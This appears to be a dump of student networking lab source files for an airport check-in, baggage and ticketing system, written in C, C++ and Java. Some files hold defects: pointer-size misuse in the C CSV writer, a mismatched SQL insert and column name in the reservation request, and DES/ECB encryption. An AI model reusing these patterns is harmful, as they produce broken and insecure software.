vector<Socket *> tabConnectedSocket;
mutable pthread_mutex_t mutexNbConnectedClients;
mutable pthread_cond_t condNbConnectedClients;
explicit Serveur_CheckIn(const char *propertiesFilePath);
virtual ~Serveur_CheckIn();
void readConfigFile(const char *propertiesFilePath) throw(ServerException);
void init() throw(ErrnoException);
void run() throw(ServerException);
};
#endif //SERVEURCHECKIN_SERVEUR_CHECKIN_H
<file_sep>/part_3/Evaluation3(ancien)/Serveur_Bagages/src/serveur_bagages/RunnableLUGAP.java
package serveur_bagages;
import communicator.Communicator;
import communicator.CommunicatorException;
import database.utilities.DatabaseAccess;
import java.sql.SQLException;
import lugap.reponse.ReponseLUGAP_getFlights;
import lugap.reponse.ReponseLUGAP_getLuggages;
import lugap.reponse.ReponseLUGAP_login;
import lugap.reponse.ReponseLUGAP_updateField;
import lugap.requete.RequeteLUGAP;
import lugap.requete.RequeteLUGAP_getFlights;
import lugap.requete.RequeteLUGAP_getLuggages;
import lugap.requete.RequeteLUGAP_login;
import lugap.requete.RequeteLUGAP_logout;
import lugap.requete.RequeteLUGAP_updateFieldCheckedByCustoms;
import lugap.requete.RequeteLUGAP_updateFieldComments;
import lugap.requete.RequeteLUGAP_updateFieldLoaded;
import lugap.requete.RequeteLUGAP_updateFieldReceived;
import server.ConsoleServeur;
public class RunnableLUGAP implements Runnable {
private final ThreadPoolLUGAP parent;
private final ConsoleServeur guiApplication;
private final Communicator communicator;
private final DatabaseAccess databaseAccess;
private Class previousRequete;
private boolean endOfTransaction;
private boolean clientConnected;
RunnableLUGAP(ThreadPoolLUGAP parent, ConsoleServeur guiApplication, Communicator communicator, DatabaseAccess databaseAccess) throws CommunicatorException {
this.parent = parent;
this.guiApplication = guiApplication;
this.communicator = communicator;
this.databaseAccess = databaseAccess;
}
@Override
public void run() {
boolean failedToConnect;
this.endOfTransaction = false;
try {
this.databaseAccess.connect();
failedToConnect = false;
} catch (ClassNotFoundException | SQLException ex) {
failedToConnect = true;
}
try {
while(!this.endOfTransaction){
RequeteLUGAP req = this.communicator.receiveSerializable(RequeteLUGAP.class);
System.out.println("Received request type : " + req.getClass().toString());
if(failedToConnect){
this.communicator.SendSerializable(ReponseLUGAP_login.KO("Server could not connect to the database."));
endTransaction();
}
else{
Runnable runnable = req.createRunnable(this.parent, this.communicator, this.guiApplication, this.databaseAccess);
if(req instanceof RequeteLUGAP_login){
runnable.run();
if(req.requeteSucceeded()){
setClientIsConnected();
previousRequete = RequeteLUGAP_login.class;
}
}
else if(req instanceof RequeteLUGAP_logout){
runnable.run();
endTransaction();
previousRequete = null;
}
else if(req instanceof RequeteLUGAP_getFlights){
if( !isClientConnected())
this.communicator.SendSerializable(ReponseLUGAP_getFlights.KO("Please connect first!"));
else{
runnable.run();
previousRequete = RequeteLUGAP_getFlights.class;
}
}
else if(req instanceof RequeteLUGAP_getLuggages){
if( !isClientConnected() || !previousRequete.equals(RequeteLUGAP_getFlights.class))
this.communicator.SendSerializable(ReponseLUGAP_getLuggages.KO("Please do a getFlights first!"));
else{
runnable.run();
previousRequete = RequeteLUGAP_getLuggages.class;
}
}
else if(req instanceof RequeteLUGAP_updateFieldReceived
|| req instanceof RequeteLUGAP_updateFieldLoaded
|| req instanceof RequeteLUGAP_updateFieldCheckedByCustoms
|| req instanceof RequeteLUGAP_updateFieldComments){
if( !isClientConnected() || !previousRequete.equals(RequeteLUGAP_getLuggages.class))
this.communicator.SendSerializable(ReponseLUGAP_updateField.KO("Please do a getLuggages first!"));
else
runnable.run();
}
}
}
this.databaseAccess.commit();
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#Commit successful"
+ "#LUGAPRunnable");
this.communicator.close();
} catch (CommunicatorException | SQLException ex) {
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#" + ex.getMessage()
+ "#LUGAPRunnable");
try {
this.databaseAccess.rollback();
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#Rollback successful"
+ "#LUGAPRunnable");
} catch (SQLException ex1) {
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#" + ex.getMessage()
+ "#LUGAPRunnable");
}
}
}
private void endTransaction(){
this.endOfTransaction = true;
}
private boolean isClientConnected(){
return this.clientConnected;
}
private void setClientIsConnected(){
this.clientConnected = true;
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/CsvHandler.cpp
#include "CsvHandler.h"
CsvHandler::CsvHandler(const string filePath, const string sep) {
this->filePath = filePath;
this->separator = sep;
this->lastPos = 0;
pthread_mutex_init(&(this->mutexCsvFile), NULL);
}
CsvHandler::~CsvHandler() {
pthread_mutex_destroy(&(this->mutexCsvFile));
}
void CsvHandler::resetPos(){
this->lastPos = 0;
}
int CsvHandler::getNbRecords() const throw(CsvException){
int nbrecord = 0;
string record;
pthread_mutex_lock(&(this->mutexCsvFile));
ifstream fileStream(this->filePath.c_str(), ios::in);
if(!fileStream.is_open()){
pthread_mutex_unlock(&(this->mutexCsvFile));
throw CsvException("CsvHandler::getNbRecords() >> Could not open the file : " + this->filePath);
}
while(!fileStream.eof()){
record.clear();
getline(fileStream, record);
if(record.length() != 0){
nbrecord++;
}
}
fileStream.close();
pthread_mutex_unlock(&(this->mutexCsvFile));
return nbrecord;
}
const string CsvHandler::getNextRecord() throw(CsvException){
string record = "";
pthread_mutex_lock(&(this->mutexCsvFile));
ifstream fileStream(this->filePath.c_str(), ios::in);
if(!fileStream.is_open()){
pthread_mutex_unlock(&(this->mutexCsvFile));
throw CsvException("CsvHandler::getNextRecord() >> Could not open the file : " + this->filePath);
}
fileStream.seekg(this->lastPos);
while(record.length() < 2){
getline(fileStream, record);
}
this->lastPos = fileStream.tellg();
fileStream.close();
pthread_mutex_unlock(&(this->mutexCsvFile));
return record;
}
const bool CsvHandler::hasNextRecord() const throw(CsvException){
bool hasNext = false;
streampos end;
pthread_mutex_lock(&(this->mutexCsvFile));
ifstream fileStream(this->filePath.c_str(), ios::in);
if(!fileStream.is_open()){
pthread_mutex_unlock(&(this->mutexCsvFile));
throw CsvException("CsvHandler::hasNextRecord() >> Could not open the file : " + this->filePath);
}
fileStream.seekg(this->lastPos, ios::beg);
if(fileStream.peek() != EOF)
hasNext = true;
fileStream.close();
pthread_mutex_unlock(&(this->mutexCsvFile));
return hasNext;
}
const vector<string> CsvHandler::getFields(const string record) const {
size_t pos = 0;
string field, tempRecord;
vector<string> fields;
tempRecord = record;
while ((pos = tempRecord.find(this->separator)) != string::npos) {
field = tempRecord.substr(0, pos);
fields.push_back(field);
tempRecord.erase(0, pos + (this->separator).length());
field.clear();
}
fields.push_back(tempRecord);
return fields;
}
const string CsvHandler::createRecord(const vector<string> &fields) const {
stringstream ss;
size_t i;
for(i=0; i< fields.size(); i++){
ss << fields[i];
if(i!=fields.size()-1){
ss << ";";
}
}
return ss.str();
}
void CsvHandler::writeRecord(const string record) const throw(CsvException){
pthread_mutex_lock(&(this->mutexCsvFile));
ofstream fileStream(this->filePath.c_str(), ios::out | ios::app);
if(!fileStream.is_open()){
pthread_mutex_unlock(&(this->mutexCsvFile));
throw CsvException("CsvHandler::writeRecord(const string record) >> Could not open the file : " + this->filePath);
}
fileStream << record << "\n";
if(fileStream.bad()){
fileStream.close();
pthread_mutex_unlock(&(this->mutexCsvFile));
throw CsvException("CsvHandler::writeRecord(const string record) >> Could not write in the file : " + this->filePath);
}
fileStream.close();
pthread_mutex_unlock(&(this->mutexCsvFile));
}
void CsvHandler::writeRecords(vector<string> records) const throw(CsvException){
pthread_mutex_lock(&(this->mutexCsvFile));
ofstream fileStream(this->filePath.c_str(), ios::out | ios::app);
if(!fileStream.is_open()){
pthread_mutex_unlock(&(this->mutexCsvFile));
throw CsvException("CsvHandler::writeRecord(const string record) >> Could not open the file : " + this->filePath);
}
for(string record : records) {
fileStream << record << "\n";
if(fileStream.bad()){
fileStream.close();
pthread_mutex_unlock(&(this->mutexCsvFile));
throw CsvException("CsvHandler::writeRecord(const string record) >> Could not write in the file : " + this->filePath);
}
}
fileStream.close();
pthread_mutex_unlock(&(this->mutexCsvFile));
}
const string& CsvHandler::getSeparator() const {
return separator;
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/IACOP.cpp
#include <vector>
#include <sstream>
#include "IACOP.h"
IACOP::IACOP(const std::string separator) throw(IACOPException) {
if(separator.empty())
throw IACOPException("IACOP::IACOP(const string separator) >> separator is empty.");
this->separator = separator;
}
IACOP::IACOP(const IACOP &orig) {
this->separator = orig.separator;
}
/*****************************
** LOGIN **
*****************************/
const std::string IACOP::encodeLOGIN_GROUP(const loginStruct credentials) const throw(IACOPException) {
if(credentials.login.empty())
throw IACOPException("IACOP::encodeLOGIN_GROUP(const loginStruct credentials) >> Error, the login is empty.");
std::vector<std::string> params;
params.push_back(credentials.login);
params.push_back(credentials.password);
params.push_back(std::to_string(credentials.time));
params.push_back(std::to_string(credentials.rand));
return encodeManyParams(LOGIN_GROUP, params);
}
/*****************************
** PARSER **
*****************************/
const std::string IACOP::getNextToken(std::string &msg) const {
size_t pos = 0;
std::string token;
if ((pos = msg.find(this->separator)) != std::string::npos) {
token = msg.substr(0, pos);
msg.erase(0, pos + this->separator.length());
}
return token;
}
const int IACOP::parse(std::string msg, void **parsedData) const throw(IACOPException) {
int requestType = -1;
std::vector<std::string> data;
std::string temp;
temp = getNextToken(msg);
requestType = atoi(temp.c_str());
switch(requestType){
case LOGIN_GROUP_OK:
*parsedData = new ipPortStruct;
((ipPortStruct *)*parsedData)->ip = getNextToken(msg);
((ipPortStruct *)*parsedData)->port = atoi(msg.c_str());
break;
case LOGIN_GROUP_KO:
*parsedData = new std::string(msg);
break;
}
return requestType;
}
/*****************************
** ENCODERS **
*****************************/
const std::string IACOP::encodeManyParams(int requestType, std::vector<std::string> params) const throw(IACOPException) {
if(params.empty())
throw IACOPException("IACOP::encodeManyParams(int requestType, vector<string> params) >> Error, the vector params is empty.");
std::stringstream ss;
ss << requestType;
for(const std::string ¶m : params)
ss << this->separator << param;
return ss.str();
}
const std::string IACOP::encodeOneParam(int requestType, std::string msg) const {
std::stringstream ss;
ss << requestType << this->separator << msg;
return ss.str();
}
const std::string IACOP::encodeNoParam(const int requestType) const {
std::stringstream ss;
ss << requestType << this->separator;
return ss.str();
}<file_sep>/LaboReseauxBinome/Libraries/GenericFrames/src/login/ConnectionDialog.java
package login;
import java.awt.Color;
public class ConnectionDialog extends javax.swing.JDialog {
private final ParentLoginFrame parent;
public ConnectionDialog(ParentLoginFrame parent) {
super(parent, true);
initComponents();
this.parent = parent;
textFieldIpAddress.setText(this.parent.getIpAddress());
textFieldPort.setText(this.parent.getPort());
textFieldLogin.setText(this.parent.getLogin());
textFieldPassword.setText(this.parent.getPassword());
labelConnectError.setForeground(Color.red);
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
labelConnectToServer = new javax.swing.JLabel();
labelIpAddress = new javax.swing.JLabel();
textFieldIpAddress = new javax.swing.JTextField();
labelPort = new javax.swing.JLabel();
textFieldPort = new javax.swing.JTextField();
jSeparator1 = new javax.swing.JSeparator();
buttonConnect = new javax.swing.JButton();
buttonCancel = new javax.swing.JButton();
labelLogin = new javax.swing.JLabel();
textFieldLogin = new javax.swing.JTextField();
labelPassword = new javax.swing.JLabel();
textFieldPassword = new javax.swing.JTextField();
labelLoginCredentials = new javax.swing.JLabel();
labelConnectError = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
labelConnectToServer.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelConnectToServer.setText("Connect to server :");
labelIpAddress.setLabelFor(textFieldIpAddress);
labelIpAddress.setText("IP address :");
textFieldIpAddress.setFont(new java.awt.Font("Consolas", 0, 12)); // NOI18N
textFieldIpAddress.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
labelPort.setLabelFor(textFieldPort);
labelPort.setText("Port :");
textFieldPort.setFont(new java.awt.Font("Consolas", 0, 12)); // NOI18N
textFieldPort.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
buttonConnect.setFont(new java.awt.Font("Consolas", 0, 12)); // NOI18N
buttonConnect.setText("Connect");
buttonConnect.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
buttonConnect.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonConnectActionPerformed(evt);
}
});
buttonCancel.setFont(new java.awt.Font("Consolas", 0, 12)); // NOI18N
buttonCancel.setText("Cancel");
buttonCancel.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
buttonCancel.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonCancelActionPerformed(evt);
}
});
labelLogin.setLabelFor(textFieldLogin);
labelLogin.setText("Login :");
labelPassword.setLabelFor(textFieldPassword);
labelPassword.setText("Password :");
labelLoginCredentials.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelLoginCredentials.setText("Login credentials :");
labelConnectError.setFont(new java.awt.Font("Lucida Grande", 1, 13)); // NOI18N
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(6, 6, 6)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jSeparator1)
.addContainerGap())
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(6, 6, 6)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(labelPort)
.addComponent(labelIpAddress)
.addComponent(labelLogin)
.addComponent(labelPassword))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(textFieldIpAddress, javax.swing.GroupLayout.PREFERRED_SIZE, 122, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(textFieldLogin, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(textFieldPort, javax.swing.GroupLayout.PREFERRED_SIZE, 55, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(textFieldPassword, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addComponent(labelConnectToServer)
.addComponent(labelLoginCredentials))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGap(30, 30, 30)
.addComponent(buttonConnect)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 75, Short.MAX_VALUE)
.addComponent(buttonCancel)
.addGap(35, 35, 35))))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(labelConnectError, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(labelConnectToServer)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelIpAddress)
.addComponent(textFieldIpAddress, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelPort)
.addComponent(textFieldPort, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(labelLoginCredentials)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelLogin)
.addComponent(textFieldLogin, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelPassword)
.addComponent(textFieldPassword, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addComponent(labelConnectError)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 32, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(buttonConnect)
.addComponent(buttonCancel))
.addContainerGap())
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void buttonConnectActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonConnectActionPerformed
//IPAddress ok?
if(textFieldIpAddress.getText().isEmpty()){
labelConnectError.setText("Error : IP address can't be empty");
return;
}
//Port ok?
if(textFieldPort.getText().isEmpty()){
labelConnectError.setText("Error : Port can't be empty");
return;
}
else{
try{
Integer.parseInt(textFieldPort.getText());
} catch(NumberFormatException ex){
labelConnectError.setText("Error : Port is not a number");
return;
}
}
//Login ok?
if(textFieldLogin.getText().isEmpty()){
labelConnectError.setText("Error : Login can't be empty");
return;
}
this.parent.setIpAddress(textFieldIpAddress.getText());
this.parent.setPort(textFieldPort.getText());
this.parent.setLogin(textFieldLogin.getText());
this.parent.setPassword(textFieldPassword.getText());
try{
this.parent.connect();
this.setVisible(false);
this.dispose();
} catch(ConnectionException ex){
labelConnectError.setText(ex.getMessage());
}
}//GEN-LAST:event_buttonConnectActionPerformed
private void buttonCancelActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonCancelActionPerformed
this.setVisible(false);
System.exit(0);
}//GEN-LAST:event_buttonCancelActionPerformed
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton buttonCancel;
private javax.swing.JButton buttonConnect;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JLabel labelConnectError;
private javax.swing.JLabel labelConnectToServer;
private javax.swing.JLabel labelIpAddress;
private javax.swing.JLabel labelLogin;
private javax.swing.JLabel labelLoginCredentials;
private javax.swing.JLabel labelPassword;
private javax.swing.JLabel labelPort;
private javax.swing.JTextField textFieldIpAddress;
private javax.swing.JTextField textFieldLogin;
private javax.swing.JTextField textFieldPassword;
private javax.swing.JTextField textFieldPort;
// End of variables declaration//GEN-END:variables
}
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/CMakeLists.txt
cmake_minimum_required(VERSION 3.8)
project(Serveur_CheckIn)
project(Librairies)
set(CMAKE_CXX_STANDARD 11)
set(LIBRARY_SOURCE_FILES
../Librairies/SocketUtilities/HostInfo.cpp
../Librairies/SocketUtilities/HostInfo.h
../Librairies/SocketUtilities/Socket.cpp
../Librairies/SocketUtilities/Socket.h
../Librairies/SocketUtilities/ClientSocket.h
../Librairies/SocketUtilities/ClientSocket.cpp
../Librairies/SocketUtilities/ServerSocket.cpp
../Librairies/SocketUtilities/ServerSocket.h
../Librairies/CSV/TicketCsvHandler.cpp
../Librairies/CSV/TicketCsvHandler.h
../Librairies/CSV/LoginCsvHandler.cpp
../Librairies/CSV/LoginCsvHandler.h
../Librairies/CSV/LuggageDatabase.h
../Librairies/CSV/LuggageDatabase.cpp
../Librairies/CSV/LuggageCsvHandler.h
../Librairies/CSV/LuggageCsvHandler.cpp
../Librairies/CSV/CsvHandler.cpp
../Librairies/CSV/CsvHandler.h
../Librairies/Exceptions/CsvException.h
../Librairies/Exceptions/CsvException.cpp
../Librairies/Exceptions/PropertiesException.h
../Librairies/Exceptions/PropertiesException.cpp
../Librairies/Exceptions/SocketException.cpp
../Librairies/Exceptions/SocketException.h
../Librairies/Exceptions/ErrnoException.cpp
../Librairies/Exceptions/ErrnoException.h
../Librairies/Exceptions/HostException.cpp
../Librairies/Exceptions/HostException.h
../Librairies/Exceptions/CIMPException.cpp
../Librairies/Exceptions/CIMPException.h
../Librairies/Properties/Properties.h
../Librairies/Properties/Properties.cpp
../Librairies/CIMP/CIMP.h
../Librairies/CIMP/CIMP.cpp)
set(SERVER_SOURCE_FILES
Launcher.cpp
Serveur_CheckIn.h
Serveur_CheckIn.cpp
ServerException.h
ServerException.cpp
Serveur_CheckInThread.h
Serveur_CheckInThread.cpp
)
add_library(Librairies ${LIBRARY_SOURCE_FILES})
add_executable(Serveur_CheckIn ${LIBRARY_SOURCE_FILES} ${SERVER_SOURCE_FILES})<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Tests/HostInfoTest.cpp
#include <iostream>
#include "../SocketUtilities/HostInfo.h"
int main(){
HostInfo *hostInfo;
cout << "Début des tests..." << endl;
cout << " Instantiation par constructeur par défaut : " << endl;
hostInfo = new HostInfo();
cout << "host IP adress : " << hostInfo->getHostIpAddress() << "." << endl;
cout << "host Name : " << hostInfo->getHostName() << "." << endl;
cout << *hostInfo << endl;
delete hostInfo;
cout << " Instantiation par constructeur avec string : " << endl;
hostInfo = new HostInfo("localhost");
// hostInfo = new HostInfo("10.59.22.27");
// hostInfo = new HostInfo("127.0.0.1");
cout << "host IP adress : " << hostInfo->getHostIpAddress() << "." << endl;
cout << "host Name : " << hostInfo->getHostName() << "." << endl;
cout << *hostInfo << endl;
delete hostInfo;
cout << endl << "Fin des tests!" << endl;
return 0;
}<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_LoginCsvHandler.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_LoginCsvHandler.dir/Tests/LoginCsvHandlerTest.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/Exceptions/HostException.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/Exceptions/CIMPException.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/CSV/CsvHandler.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/CSV/LoginCsvHandler.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/CSV/TicketCsvHandler.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/CSV/LuggageDatabase.cpp.o"
"CMakeFiles/test_LoginCsvHandler.dir/CSV/LuggageCsvHandler.cpp.o"
"test_LoginCsvHandler.pdb"
"test_LoginCsvHandler"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_LoginCsvHandler.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/Librairies.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/Librairies.dir/CIMP/CIMP.cpp.o"
"CMakeFiles/Librairies.dir/CSV/CsvHandler.cpp.o"
"CMakeFiles/Librairies.dir/CSV/LoginCsvHandler.cpp.o"
"CMakeFiles/Librairies.dir/CSV/TicketCsvHandler.cpp.o"
"CMakeFiles/Librairies.dir/CSV/LuggageDatabase.cpp.o"
"CMakeFiles/Librairies.dir/CSV/LuggageCsvHandler.cpp.o"
"CMakeFiles/Librairies.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/Librairies.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/Librairies.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/Librairies.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/Librairies.dir/Exceptions/HostException.cpp.o"
"CMakeFiles/Librairies.dir/Exceptions/CIMPException.cpp.o"
"CMakeFiles/Librairies.dir/Properties/Properties.cpp.o"
"CMakeFiles/Librairies.dir/SocketUtilities/HostInfo.cpp.o"
"CMakeFiles/Librairies.dir/SocketUtilities/Socket.cpp.o"
"CMakeFiles/Librairies.dir/SocketUtilities/ClientSocket.cpp.o"
"CMakeFiles/Librairies.dir/SocketUtilities/ServerSocket.cpp.o"
"libLibrairies.pdb"
"libLibrairies.a"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/Librairies.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/part_1/CheckIn-Server/Libcsv.c
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "Libcsv.h"
int ReadByte(int fd, char* l, char* p)
{
char buff;
int end;
for(int i = 0; buff != ';' && buff != ','; i+=1)
{
end = read(fd, &buff, 1);
if(end == 0)
{
goto end;
}
*(l+i) = buff;
if(*(l+i) == ';' || *(l+i) == ',')
*(l+i) = '\0';
}
buff = 1;
int i = 0;
for(i = 0; buff != '\n'; i+=1)
{
end = read(fd, &buff, 1);
if(end == 0)
{
fprintf(stderr,"goto\n");
goto end;
}
*(p+i) = buff;
}
*(p+i-1) = '\0';
return 1;
end:;
return 0;
}
int WriteByte(int fd, char* l, char* p)
{
char buff;
int end = 1;
char *p1, *p2;
p1 = (char*)malloc(sizeof(l));
p2 = (char*)malloc(sizeof(p));
strcpy(p1, l);
strcpy(p2, p);
if(write(fd, p1, sizeof(p1)) == 0)
return 0;
buff = ';';
if(write(fd, &buff, 1) == 0)
return 0;
if(write(fd, p2, sizeof(p2)) == 0)
return 0;
buff = '\n';
if(write(fd, &buff, 1) == 0)
return 0;
return 1;
}
<file_sep>/final eclipse/Librairie/src/network/protocole/tickmap/requete/RequeteReserver.java
package network.protocole.tickmap.requete;
import java.io.IOException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import database.entities.Billet;
import database.entities.Caddie;
import generic.server.ASecureRequete;
import network.communication.communicationException;
import network.crypto.ACryptographieSymetrique;
import network.crypto.ConverterObject;
import network.crypto.CryptographieSymetriqueException;
import network.protocole.tickmap.reponse.ReponseReserver;
public class RequeteReserver extends ASecureRequete {
/**
*
*/
private static final long serialVersionUID = 1L;
private final byte[] encryptBillet;
//requeteCaddi pour que le client l'obtiennent et le passe en paramètre
private Caddie caddie;
public RequeteReserver(Cipher cipher, SecretKey key,Billet billet) throws CryptographieSymetriqueException, IOException
{
super("Add Billet","insert into ticket (fk_idairplane,fk_idairline,fk_departure,fk_destination,fk_idpassenger,nbaccompagnant,idticket)" +
"values(?,?,?,?,?)");
this.encryptBillet = ACryptographieSymetrique.encrypt(cipher,ConverterObject.convertObjectToByte(billet),key);
}
//pour l'id du client on crée un client bidon pour les application billets
@Override
protected void doAction() {
try {
try {
byte[] decryptBillet = ACryptographieSymetrique.decrypt(Cipher.getInstance("DES/ECB/PKCS5Padding","BC" ), encryptBillet, this.getKeySecret());
Map<Integer, Object> statementMap = new HashMap<>();
Billet billet = (Billet) ConverterObject.convertByteToObject(decryptBillet);
ResultSet resultSet;
ArrayList<Integer> places = new ArrayList<Integer>();
int priceUnit, placeRestant;
statementMap.put(1, billet.getIdAirPlane());
statementMap.put(2, billet.getIdAirLine());
statementMap.put(3, billet.getDeparture());
statementMap.put(4, billet.getDestination());
//select le nombre de palce restant et le nombre total
String sql = "SELECT seatsSold, seats, price"
+ " FROM flight INNER JOIN airplane"
+ " ON flight.fk_idairplane = airplane.idairplane"
+ " AND flight.fk_idairline = airplane.fk_idairline"
+ " WHERE fk_idairplane=?"
+ " AND flight.fk_idairline=?"
+ " AND departure=?"
+ " AND destination=?"
+ " FOR UPDATE";
resultSet = this.database.executeQuery(sql, statementMap);
if(resultSet.next())
{
//check si dispo
if(resultSet.getInt("seatSold") + billet.getNbAccompagnant() <= resultSet.getInt("seats"))
{
priceUnit = resultSet.getInt("price");
placeRestant = resultSet.getInt("seatsSold");
sql = "UPDATE flight"
+ " SET seatsSold=" + (resultSet.getInt("seatsSold") + billet.getNbAccompagnant())
+ " WHERE fk_idairplane=?"
+ " AND fk_idairline=?"
+ " AND departure=?"
+ " AND destination=?";
if(this.database.executeUpdate(sql, statementMap ) == 1 )
{
//Si on a déjà réservé des places pour ce vol, on update le nombre
statementMap.put(5, caddie.getIdCaddie() );
